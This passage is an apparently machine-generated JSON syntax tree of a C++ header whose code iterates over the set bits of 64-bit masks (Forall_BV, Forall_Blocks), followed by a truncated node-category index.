13}, "end_point": {"row": 76, "column": 28}}, {"id": 652, "type": "binary_expression", "text": "base + offset", "parent": 651, "children": [653, 654, 655], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 27}}, {"id": 653, "type": "identifier", "text": "base", "parent": 652, "children": [], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 18}}, {"id": 654, "type": "+", "text": "+", "parent": 652, "children": [], "start_point": {"row": 76, "column": 19}, "end_point": {"row": 76, "column": 20}}, {"id": 655, "type": "identifier", "text": "offset", "parent": 652, "children": [], "start_point": {"row": 76, "column": 21}, "end_point": {"row": 76, "column": 27}}, {"id": 656, "type": "return_statement", "text": "return false;", "parent": 645, "children": [657], "start_point": {"row": 77, "column": 10}, "end_point": {"row": 77, "column": 23}}, {"id": 657, "type": "false", "text": "false", "parent": 656, "children": [], "start_point": {"row": 77, "column": 17}, "end_point": {"row": 77, "column": 22}}, {"id": 658, "type": "return_statement", "text": "return true;", "parent": 608, "children": [659], "start_point": {"row": 79, "column": 6}, "end_point": {"row": 79, "column": 18}}, {"id": 659, "type": "true", "text": "true", "parent": 658, "children": [], "start_point": {"row": 79, "column": 13}, "end_point": {"row": 79, "column": 17}}, {"id": 660, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [661, 664, 666, 667], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 82, "column": 10}}, {"id": 661, "type": "binary_expression", "text": "template<class", "parent": 660, "children": [662, 663], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 18}}, {"id": 662, "type": "identifier", "text": "template", "parent": 661, "children": [], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 12}}, {"id": 663, "type": "<", "text": "<", "parent": 661, "children": [], "start_point": {"row": 81, "column": 12}, "end_point": {"row": 81, "column": 13}}, {"id": 664, "type": "ERROR", "text": "F", "parent": 660, "children": [665], "start_point": {"row": 81, "column": 19}, "end_point": {"row": 81, "column": 20}}, {"id": 665, "type": "identifier", "text": "F", "parent": 664, "children": [], "start_point": {"row": 81, "column": 19}, "end_point": {"row": 81, "column": 20}}, {"id": 666, "type": ">", "text": ">", "parent": 660, "children": [], "start_point": {"row": 81, "column": 20}, "end_point": {"row": 81, "column": 21}}, {"id": 667, "type": "identifier", "text": "inline", "parent": 660, "children": [], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 10}}, {"id": 668, "type": "declaration", "text": "bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }", "parent": 12, "children": [669, 670], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 94, "column": 5}}, {"id": 669, "type": "primitive_type", "text": "bool", "parent": 668, "children": [], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 82, "column": 15}}, {"id": 670, "type": "init_declarator", "text": "Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }", "parent": 668, "children": [671, 690, 691, 693], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 94, "column": 5}}, {"id": 671, "type": "function_declarator", "text": "Forall_BV(uint64_t* b, uint64_t* e, F f, int base", "parent": 670, "children": [672, 673], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 82, "column": 65}}, {"id": 672, "type": "identifier", "text": "Forall_BV", "parent": 671, "children": [], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 82, "column": 25}}, {"id": 673, "type": "parameter_list", "text": "(uint64_t* b, uint64_t* e, F f, int base", "parent": 671, "children": [674, 679, 684, 687], "start_point": {"row": 82, "column": 25}, "end_point": {"row": 82, "column": 65}}, {"id": 674, "type": "parameter_declaration", "text": "uint64_t* b", "parent": 673, "children": [675, 676], "start_point": {"row": 82, "column": 26}, "end_point": {"row": 82, "column": 37}}, {"id": 675, "type": "primitive_type", "text": "uint64_t", "parent": 674, "children": [], "start_point": {"row": 82, "column": 26}, "end_point": {"row": 82, "column": 34}}, {"id": 676, "type": "pointer_declarator", "text": "* b", "parent": 674, "children": [677, 678], "start_point": {"row": 82, "column": 34}, "end_point": {"row": 82, "column": 37}}, {"id": 677, "type": "*", "text": "*", "parent": 676, "children": [], "start_point": {"row": 82, "column": 34}, "end_point": {"row": 82, "column": 35}}, {"id": 678, "type": "identifier", "text": "b", "parent": 676, "children": [], "start_point": {"row": 82, "column": 36}, "end_point": {"row": 82, "column": 37}}, {"id": 679, "type": "parameter_declaration", "text": "uint64_t* e", "parent": 673, "children": [680, 681], "start_point": {"row": 82, "column": 39}, "end_point": {"row": 82, "column": 50}}, {"id": 680, "type": "primitive_type", "text": "uint64_t", "parent": 679, "children": [], "start_point": {"row": 82, "column": 39}, "end_point": {"row": 82, "column": 47}}, {"id": 681, "type": "pointer_declarator", "text": "* e", "parent": 679, "children": [682, 683], "start_point": {"row": 82, "column": 47}, "end_point": {"row": 82, "column": 50}}, {"id": 682, "type": "*", "text": "*", "parent": 681, "children": [], "start_point": {"row": 82, "column": 47}, "end_point": {"row": 82, "column": 48}}, {"id": 683, "type": "identifier", "text": "e", "parent": 681, "children": [], "start_point": {"row": 82, "column": 49}, "end_point": {"row": 82, "column": 50}}, {"id": 684, "type": "parameter_declaration", "text": "F f", "parent": 673, "children": [685, 686], "start_point": {"row": 82, "column": 52}, "end_point": {"row": 82, "column": 55}}, {"id": 685, "type": "type_identifier", "text": "F", "parent": 684, "children": [], "start_point": {"row": 82, "column": 52}, "end_point": {"row": 82, "column": 53}}, {"id": 686, "type": "identifier", "text": "f", "parent": 684, "children": [], "start_point": {"row": 82, "column": 54}, "end_point": {"row": 82, "column": 55}}, {"id": 687, "type": "parameter_declaration", "text": "int base", "parent": 673, "children": [688, 689], "start_point": {"row": 82, "column": 57}, "end_point": {"row": 82, "column": 65}}, {"id": 688, "type": "primitive_type", "text": "int", "parent": 687, "children": [], "start_point": {"row": 82, "column": 57}, "end_point": {"row": 82, "column": 60}}, {"id": 689, "type": "identifier", "text": "base", "parent": 687, "children": [], "start_point": {"row": 82, "column": 61}, "end_point": {"row": 82, "column": 65}}, {"id": 690, "type": "=", "text": "=", "parent": 670, "children": [], "start_point": {"row": 82, "column": 66}, "end_point": {"row": 82, "column": 67}}, {"id": 691, "type": "ERROR", "text": "0)", "parent": 670, "children": [692], "start_point": {"row": 82, "column": 68}, "end_point": {"row": 82, "column": 70}}, {"id": 692, "type": "number_literal", "text": "0", "parent": 691, "children": [], "start_point": {"row": 82, "column": 68}, "end_point": {"row": 82, "column": 69}}, {"id": 693, "type": "initializer_list", "text": "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }", "parent": 670, "children": [694, 705, 747], "start_point": {"row": 82, "column": 71}, "end_point": {"row": 94, "column": 5}}, {"id": 694, "type": "ERROR", "text": "for(; b != e; ++b)", "parent": 693, "children": [695], "start_point": {"row": 83, "column": 6}, "end_point": {"row": 83, "column": 24}}, {"id": 695, "type": "call_expression", "text": "for(; b != e; ++b)", "parent": 694, "children": [696], "start_point": {"row": 83, "column": 6}, "end_point": {"row": 83, "column": 24}}, {"id": 696, "type": "argument_list", "text": "(; b != e; ++b)", "parent": 695, "children": [697, 704], "start_point": {"row": 83, "column": 9}, "end_point": {"row": 83, "column": 24}}, {"id": 697, "type": "ERROR", "text": "; b != e; ++", "parent": 696, "children": [698], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 22}}, {"id": 698, "type": "update_expression", "text": "b != e; ++", "parent": 697, "children": [699, 703], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 22}}, {"id": 699, "type": "binary_expression", "text": "b != e", "parent": 698, "children": [700, 701, 702], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 18}}, {"id": 700, "type": "identifier", "text": "b", "parent": 699, "children": [], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 13}}, {"id": 701, "type": "!=", "text": "!=", "parent": 699, "children": [], "start_point": {"row": 83, "column": 14}, "end_point": {"row": 83, "column": 16}}, {"id": 702, "type": "identifier", "text": "e", "parent": 699, "children": [], "start_point": {"row": 83, "column": 17}, "end_point": {"row": 83, "column": 18}}, {"id": 703, "type": "++", "text": "++", "parent": 698, "children": [], "start_point": {"row": 83, "column": 20}, "end_point": {"row": 83, "column": 22}}, {"id": 704, "type": "identifier", "text": "b", "parent": 696, "children": [], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 23}}, {"id": 705, "type": "initializer_list", "text": "{\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }", "parent": 693, "children": [706, 743], "start_point": {"row": 83, "column": 25}, "end_point": {"row": 92, "column": 7}}, {"id": 706, "type": "ERROR", "text": "uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }", "parent": 705, "children": [707, 708, 714, 715], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 90, "column": 9}}, {"id": 707, "type": "identifier", "text": "uint64_t", "parent": 706, "children": [], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 16}}, {"id": 708, "type": "call_expression", "text": "mask(*b)", "parent": 706, "children": [709, 710], "start_point": {"row": 84, "column": 17}, "end_point": {"row": 84, "column": 25}}, {"id": 709, "type": "identifier", "text": "mask", "parent": 708, "children": [], "start_point": {"row": 84, "column": 17}, "end_point": {"row": 84, "column": 21}}, {"id": 710, "type": "argument_list", "text": "(*b)", "parent": 708, "children": [711], "start_point": {"row": 84, "column": 21}, "end_point": {"row": 84, "column": 25}}, {"id": 711, "type": "pointer_expression", "text": "*b", "parent": 710, "children": [712, 713], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 24}}, {"id": 712, "type": "*", "text": "*", "parent": 711, "children": [], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 23}}, {"id": 713, "type": "identifier", "text": "b", "parent": 711, "children": [], "start_point": {"row": 84, "column": 23}, "end_point": {"row": 84, "column": 24}}, {"id": 714, "type": "identifier", "text": "mask", "parent": 706, "children": [], "start_point": {"row": 85, "column": 14}, "end_point": {"row": 85, "column": 18}}, {"id": 715, "type": "initializer_list", "text": "{\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }", "parent": 706, "children": [716, 742], "start_point": {"row": 85, "column": 20}, "end_point": {"row": 90, "column": 9}}, {"id": 716, "type": "ERROR", "text": "unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return", "parent": 715, "children": [717, 718, 725, 733], "start_point": {"row": 86, "column": 10}, "end_point": {"row": 89, "column": 18}}, {"id": 717, "type": "identifier", "text": "unsigned", "parent": 716, "children": [], "start_point": {"row": 86, "column": 10}, "end_point": {"row": 86, "column": 18}}, {"id": 718, "type": "call_expression", "text": "offset(__builtin_ctzll(mask))", "parent": 716, "children": [719, 720], "start_point": {"row": 86, "column": 19}, "end_point": {"row": 86, "column": 48}}, {"id": 719, "type": "identifier", "text": "offset", "parent": 718, "children": [], "start_point": {"row": 86, "column": 19}, "end_point": {"row": 86, "column": 25}}, {"id": 720, "type": "argument_list", "text": "(__builtin_ctzll(mask))", "parent": 718, "children": [721], "start_point": {"row": 86, "column": 25}, "end_point": {"row": 86, "column": 48}}, {"id": 721, "type": "call_expression", "text": "__builtin_ctzll(mask)", "parent": 720, "children": [722, 723], "start_point": {"row": 86, "column": 26}, "end_point": {"row": 86, "column": 47}}, {"id": 722, "type": "identifier", "text": "__builtin_ctzll", "parent": 721, "children": [], "start_point": {"row": 86, "column": 26}, "end_point": {"row": 86, "column": 41}}, {"id": 723, "type": "argument_list", "text": "(mask)", "parent": 721, "children": [724], "start_point": {"row": 86, "column": 41}, "end_point": {"row": 86, "column": 47}}, {"id": 724, "type": "identifier", "text": "mask", "parent": 723, "children": [], "start_point": {"row": 86, "column": 42}, "end_point": {"row": 86, "column": 46}}, {"id": 725, "type": "assignment_expression", "text": "mask &= (mask-1)", "parent": 716, "children": [726, 727, 728], "start_point": {"row": 87, "column": 10}, "end_point": {"row": 87, "column": 26}}, {"id": 726, "type": "identifier", "text": "mask", "parent": 725, "children": [], "start_point": {"row": 87, "column": 10}, "end_point": {"row": 87, "column": 14}}, {"id": 727, "type": "&=", "text": "&=", "parent": 725, "children": [], "start_point": {"row": 87, "column": 15}, "end_point": {"row": 87, "column": 17}}, {"id": 728, "type": "parenthesized_expression", "text": "(mask-1)", "parent": 725, "children": [729], "start_point": {"row": 87, "column": 18}, "end_point": {"row": 87, "column": 26}}, {"id": 729, "type": "binary_expression", "text": "mask-1", "parent": 728, "children": [730, 731, 732], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 25}}, {"id": 730, "type": "identifier", "text": "mask", "parent": 729, "children": [], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 23}}, {"id": 731, "type": "-", "text": "-", "parent": 729, "children": [], "start_point": {"row": 87, "column": 23}, "end_point": {"row": 87, "column": 24}}, {"id": 732, "type": "number_literal", "text": "1", "parent": 729, "children": [], "start_point": {"row": 87, "column": 24}, "end_point": {"row": 87, "column": 25}}, {"id": 733, "type": "unary_expression", "text": "!f(base + offset)", "parent": 716, "children": [734, 735], "start_point": {"row": 88, "column": 13}, "end_point": {"row": 88, "column": 30}}, {"id": 734, "type": "!", "text": "!", "parent": 733, "children": [], "start_point": {"row": 88, "column": 13}, "end_point": {"row": 88, "column": 14}}, {"id": 735, "type": "call_expression", "text": "f(base + offset)", "parent": 733, "children": [736, 737], "start_point": {"row": 88, "column": 14}, "end_point": {"row": 88, "column": 30}}, {"id": 736, "type": "identifier", "text": "f", "parent": 735, "children": [], "start_point": {"row": 88, "column": 14}, "end_point": {"row": 88, "column": 15}}, {"id": 737, "type": "argument_list", "text": "(base + offset)", "parent": 735, "children": [738], "start_point": {"row": 88, "column": 15}, "end_point": {"row": 88, "column": 30}}, {"id": 738, "type": "binary_expression", "text": "base + offset", "parent": 737, "children": [739, 740, 741], "start_point": {"row": 88, "column": 16}, "end_point": {"row": 88, "column": 29}}, {"id": 739, "type": "identifier", "text": "base", "parent": 738, "children": [], "start_point": {"row": 88, "column": 16}, "end_point": {"row": 88, "column": 20}}, {"id": 740, "type": "+", "text": "+", "parent": 738, "children": [], "start_point": {"row": 88, "column": 21}, "end_point": {"row": 88, "column": 22}}, {"id": 741, "type": "identifier", "text": "offset", "parent": 738, "children": [], "start_point": {"row": 88, "column": 23}, "end_point": {"row": 88, "column": 29}}, {"id": 742, "type": "false", "text": "false", "parent": 715, "children": [], "start_point": {"row": 89, "column": 19}, "end_point": {"row": 89, "column": 24}}, {"id": 743, "type": "assignment_expression", "text": "base += 64", "parent": 705, "children": [744, 745, 746], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 18}}, {"id": 744, "type": "identifier", "text": "base", "parent": 743, "children": [], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 12}}, {"id": 745, "type": "+=", "text": "+=", "parent": 743, "children": [], "start_point": {"row": 91, "column": 13}, "end_point": {"row": 91, "column": 15}}, {"id": 746, "type": "number_literal", "text": "64", "parent": 743, "children": [], "start_point": {"row": 91, "column": 16}, "end_point": {"row": 91, "column": 18}}, {"id": 747, "type": "ERROR", "text": "return true;", "parent": 693, "children": [748], "start_point": {"row": 93, "column": 6}, "end_point": {"row": 93, "column": 18}}, {"id": 748, "type": "true", "text": "true", "parent": 747, "children": [], "start_point": {"row": 93, "column": 13}, "end_point": {"row": 93, "column": 17}}, {"id": 749, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [750, 753, 755, 756], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 96, "column": 12}}, {"id": 750, "type": "binary_expression", "text": "template<class", "parent": 749, "children": [751, 752], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 95, "column": 18}}, {"id": 751, "type": "identifier", "text": "template", "parent": 750, "children": [], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 95, "column": 12}}, {"id": 752, "type": "<", "text": "<", "parent": 750, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 13}}, {"id": 753, "type": "ERROR", "text": "F", "parent": 749, "children": [754], "start_point": {"row": 95, "column": 19}, "end_point": {"row": 95, "column": 20}}, {"id": 754, "type": "identifier", "text": "F", "parent": 753, "children": [], "start_point": {"row": 95, "column": 19}, "end_point": {"row": 95, "column": 20}}, {"id": 755, "type": ">", "text": ">", "parent": 749, "children": [], "start_point": {"row": 95, "column": 20}, "end_point": {"row": 95, "column": 21}}, {"id": 756, "type": "identifier", "text": "inline", "parent": 749, "children": [], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 12}}, {"id": 757, "type": "declaration", "text": "bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };", "parent": 12, "children": [758, 759], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 107, "column": 4}}, {"id": 758, "type": "primitive_type", "text": "bool", "parent": 757, "children": [], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 17}}, {"id": 759, "type": "init_declarator", "text": "Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }", "parent": 757, "children": [760, 779, 780, 782], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 106, "column": 5}}, {"id": 760, "type": "function_declarator", "text": "Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base", "parent": 759, "children": [761, 762], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 71}}, {"id": 761, "type": "identifier", "text": "Forall_Blocks", "parent": 760, "children": [], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 31}}, {"id": 762, "type": "parameter_list", "text": "(uint64_t* b, uint64_t* e, F f, int base", "parent": 760, "children": [763, 768, 773, 776], "start_point": {"row": 96, "column": 31}, "end_point": {"row": 96, "column": 71}}, {"id": 763, "type": "parameter_declaration", "text": "uint64_t* b", "parent": 762, "children": [764, 765], "start_point": {"row": 96, "column": 32}, "end_point": {"row": 96, "column": 43}}, {"id": 764, "type": "primitive_type", "text": "uint64_t", "parent": 763, "children": [], "start_point": {"row": 96, "column": 32}, "end_point": {"row": 96, "column": 40}}, {"id": 765, "type": "pointer_declarator", "text": "* b", "parent": 763, "children": [766, 767], "start_point": {"row": 96, "column": 40}, "end_point": {"row": 96, "column": 43}}, {"id": 766, "type": "*", "text": "*", "parent": 765, "children": [], "start_point": {"row": 96, "column": 40}, "end_point": {"row": 96, "column": 41}}, {"id": 767, "type": "identifier", "text": "b", "parent": 765, "children": [], "start_point": {"row": 96, "column": 42}, "end_point": {"row": 96, "column": 43}}, {"id": 768, "type": "parameter_declaration", "text": "uint64_t* e", "parent": 762, "children": [769, 770], "start_point": {"row": 96, "column": 45}, "end_point": {"row": 96, "column": 56}}, {"id": 769, "type": "primitive_type", "text": "uint64_t", "parent": 768, "children": [], "start_point": {"row": 96, "column": 45}, "end_point": {"row": 96, "column": 53}}, {"id": 770, "type": "pointer_declarator", "text": "* e", "parent": 768, "children": [771, 772], "start_point": {"row": 96, "column": 53}, "end_point": {"row": 96, "column": 56}}, {"id": 771, "type": "*", "text": "*", "parent": 770, "children": [], "start_point": {"row": 96, "column": 53}, "end_point": {"row": 96, "column": 54}}, {"id": 772, "type": "identifier", "text": "e", "parent": 770, "children": [], "start_point": {"row": 96, "column": 55}, "end_point": {"row": 96, "column": 56}}, {"id": 773, "type": "parameter_declaration", "text": "F f", "parent": 762, "children": [774, 775], "start_point": {"row": 96, "column": 58}, "end_point": {"row": 96, "column": 61}}, {"id": 774, "type": "type_identifier", "text": "F", "parent": 773, "children": [], "start_point": {"row": 96, "column": 58}, "end_point": {"row": 96, "column": 59}}, {"id": 775, "type": "identifier", "text": "f", "parent": 773, "children": [], "start_point": {"row": 96, "column": 60}, "end_point": {"row": 96, "column": 61}}, {"id": 776, "type": "parameter_declaration", "text": "int base", "parent": 762, "children": [777, 778], "start_point": {"row": 96, "column": 63}, "end_point": {"row": 96, "column": 71}}, {"id": 777, "type": "primitive_type", "text": "int", "parent": 776, "children": [], "start_point": {"row": 96, "column": 63}, "end_point": {"row": 96, "column": 66}}, {"id": 778, "type": "identifier", "text": "base", "parent": 776, "children": [], "start_point": {"row": 96, "column": 67}, "end_point": {"row": 96, "column": 71}}, {"id": 779, "type": "=", "text": "=", "parent": 759, "children": [], "start_point": {"row": 96, "column": 72}, "end_point": {"row": 96, "column": 73}}, {"id": 780, "type": "ERROR", "text": "0)", "parent": 759, "children": [781], "start_point": {"row": 96, "column": 74}, "end_point": {"row": 96, "column": 76}}, {"id": 781, "type": "number_literal", "text": "0", "parent": 780, "children": [], "start_point": {"row": 96, "column": 74}, "end_point": {"row": 96, "column": 75}}, {"id": 782, "type": "initializer_list", "text": "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }", "parent": 759, "children": [783, 820], "start_point": {"row": 96, "column": 77}, "end_point": {"row": 106, "column": 5}}, {"id": 783, "type": "ERROR", "text": "for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return", "parent": 782, "children": [784, 794], "start_point": {"row": 97, "column": 6}, "end_point": {"row": 105, "column": 12}}, {"id": 784, "type": "call_expression", "text": "for(; b != e; ++b)", "parent": 783, "children": [785], "start_point": {"row": 97, "column": 6}, "end_point": {"row": 97, "column": 24}}, {"id": 785, "type": "argument_list", "text": "(; b != e; ++b)", "parent": 784, "children": [786, 793], "start_point": {"row": 97, "column": 9}, "end_point": {"row": 97, "column": 24}}, {"id": 786, "type": "ERROR", "text": "; b != e; ++", "parent": 785, "children": [787], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 22}}, {"id": 787, "type": "update_expression", "text": "b != e; ++", "parent": 786, "children": [788, 792], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 22}}, {"id": 788, "type": "binary_expression", "text": "b != e", "parent": 787, "children": [789, 790, 791], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 18}}, {"id": 789, "type": "identifier", "text": "b", "parent": 788, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 13}}, {"id": 790, "type": "!=", "text": "!=", "parent": 788, "children": [], "start_point": {"row": 97, "column": 14}, "end_point": {"row": 97, "column": 16}}, {"id": 791, "type": "identifier", "text": "e", "parent": 788, "children": [], "start_point": {"row": 97, "column": 17}, "end_point": {"row": 97, "column": 18}}, {"id": 792, "type": "++", "text": "++", "parent": 787, "children": [], "start_point": {"row": 97, "column": 20}, "end_point": {"row": 97, "column": 22}}, {"id": 793, "type": "identifier", "text": "b", "parent": 785, "children": [], "start_point": {"row": 97, "column": 22}, "end_point": {"row": 97, "column": 23}}, {"id": 794, "type": "initializer_list", "text": "{\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }", "parent": 783, "children": [795, 816], "start_point": {"row": 97, "column": 25}, "end_point": {"row": 104, "column": 7}}, {"id": 795, "type": "ERROR", "text": "uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }", "parent": 794, "children": [796, 797, 803, 804], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 102, "column": 9}}, {"id": 796, "type": "identifier", "text": "uint64_t", "parent": 795, "children": [], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 16}}, {"id": 797, "type": "call_expression", "text": "mask(*b)", "parent": 795, "children": [798, 799], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 25}}, {"id": 798, "type": "identifier", "text": "mask", "parent": 797, "children": [], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 21}}, {"id": 799, "type": "argument_list", "text": "(*b)", "parent": 797, "children": [800], "start_point": {"row": 98, "column": 21}, "end_point": {"row": 98, "column": 25}}, {"id": 800, "type": "pointer_expression", "text": "*b", "parent": 799, "children": [801, 802], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 24}}, {"id": 801, "type": "*", "text": "*", "parent": 800, "children": [], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 23}}, {"id": 802, "type": "identifier", "text": "b", "parent": 800, "children": [], "start_point": {"row": 98, "column": 23}, "end_point": {"row": 98, "column": 24}}, {"id": 803, "type": "identifier", "text": "mask", "parent": 795, "children": [], "start_point": {"row": 99, "column": 11}, "end_point": {"row": 99, "column": 15}}, {"id": 804, "type": "initializer_list", "text": "{\n if(!f(base, mask))\n return false;\n }", "parent": 795, "children": [805, 814], "start_point": {"row": 99, "column": 17}, "end_point": {"row": 102, "column": 9}}, {"id": 805, "type": "call_expression", "text": "if(!f(base, mask))", "parent": 804, "children": [806], "start_point": {"row": 100, "column": 10}, "end_point": {"row": 100, "column": 28}}, {"id": 806, "type": "argument_list", "text": "(!f(base, mask))", "parent": 805, "children": [807], "start_point": {"row": 100, "column": 12}, "end_point": {"row": 100, "column": 28}}, {"id": 807, "type": "unary_expression", "text": "!f(base, mask)", "parent": 806, "children": [808, 809], "start_point": {"row": 100, "column": 13}, "end_point": {"row": 100, "column": 27}}, {"id": 808, "type": "!", "text": "!", "parent": 807, "children": [], "start_point": {"row": 100, "column": 13}, "end_point": {"row": 100, "column": 14}}, {"id": 809, "type": "call_expression", "text": "f(base, mask)", "parent": 807, "children": [810, 811], "start_point": {"row": 100, "column": 14}, "end_point": {"row": 100, "column": 27}}, {"id": 810, "type": "identifier", "text": "f", "parent": 809, "children": [], "start_point": {"row": 100, "column": 14}, "end_point": {"row": 100, "column": 15}}, {"id": 811, "type": "argument_list", "text": "(base, mask)", "parent": 809, "children": [812, 813], "start_point": {"row": 100, "column": 15}, "end_point": {"row": 100, "column": 27}}, {"id": 812, "type": "identifier", "text": "base", "parent": 811, "children": [], "start_point": {"row": 100, "column": 16}, "end_point": {"row": 100, "column": 20}}, {"id": 813, "type": "identifier", "text": "mask", "parent": 811, "children": [], "start_point": {"row": 100, "column": 22}, "end_point": {"row": 100, "column": 26}}, {"id": 814, "type": "ERROR", "text": "return false;", "parent": 804, "children": [815], "start_point": {"row": 101, "column": 12}, "end_point": {"row": 101, "column": 25}}, {"id": 815, "type": "false", "text": "false", "parent": 814, "children": [], "start_point": {"row": 101, "column": 19}, "end_point": {"row": 101, "column": 24}}, {"id": 816, "type": "assignment_expression", "text": "base += 64", "parent": 794, "children": [817, 818, 819], "start_point": {"row": 103, "column": 8}, "end_point": {"row": 103, "column": 18}}, {"id": 817, "type": "identifier", "text": "base", "parent": 816, "children": [], "start_point": {"row": 103, "column": 8}, "end_point": {"row": 103, "column": 12}}, {"id": 818, "type": "+=", "text": "+=", "parent": 816, "children": [], "start_point": {"row": 103, "column": 13}, "end_point": {"row": 103, "column": 15}}, {"id": 819, "type": "number_literal", "text": "64", "parent": 816, "children": [], "start_point": {"row": 103, "column": 16}, "end_point": {"row": 103, "column": 18}}, {"id": 820, "type": "true", "text": "true", "parent": 782, "children": [], "start_point": {"row": 105, "column": 13}, "end_point": {"row": 105, "column": 17}}, {"id": 821, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 110, "column": 0}, "end_point": {"row": 110, "column": 6}}]}, "node_categories": {"declarations": {"functions": [12, 15, 18, 23, 30, 35, 47, 51, 63, 68, 95, 100, 114, 119, 140, 144, 159, 162, 167, 174, 179, 191, 195, 207, 212, 239, 244, 258, 263, 284, 288, 303, 307, 359, 411, 492, 494, 512, 517, 547, 608, 610, 628, 633, 671, 760], "variables": [26, 38, 54, 71, 103, 122, 147, 170, 182, 198, 215, 247, 266, 291, 310, 315, 354, 362, 367, 408, 414, 419, 424, 427, 497, 500, 503, 509, 515, 519, 544, 550, 555, 560, 563, 613, 616, 619, 625, 631, 635, 668, 674, 679, 684, 687, 757, 763, 768, 773, 776], "classes": [19, 31, 48, 64, 96, 115, 141, 163, 175, 192, 208, 240, 259, 285, 304, 355], "imports": [6, 7, 9, 10], "modules": [], "enums": []}, "statements": {"expressions": [41, 44, 57, 58, 76, 77, 78, 81, 85, 86, 87, 88, 90, 108, 111, 127, 129, 130, 131, 132, 135, 152, 155, 185, 188, 201, 202, 220, 221, 222, 225, 229, 230, 231, 232, 234, 252, 255, 271, 273, 274, 275, 276, 279, 296, 299, 319, 324, 325, 329, 334, 335, 340, 342, 347, 348, 375, 377, 379, 384, 391, 394, 397, 400, 401, 435, 438, 439, 448, 451, 458, 461, 468, 469, 473, 476, 484, 485, 507, 524, 525, 529, 532, 536, 537, 571, 574, 575, 584, 587, 591, 600, 601, 623, 640, 641, 646, 647, 649, 652, 660, 661, 695, 698, 699, 708, 711, 718, 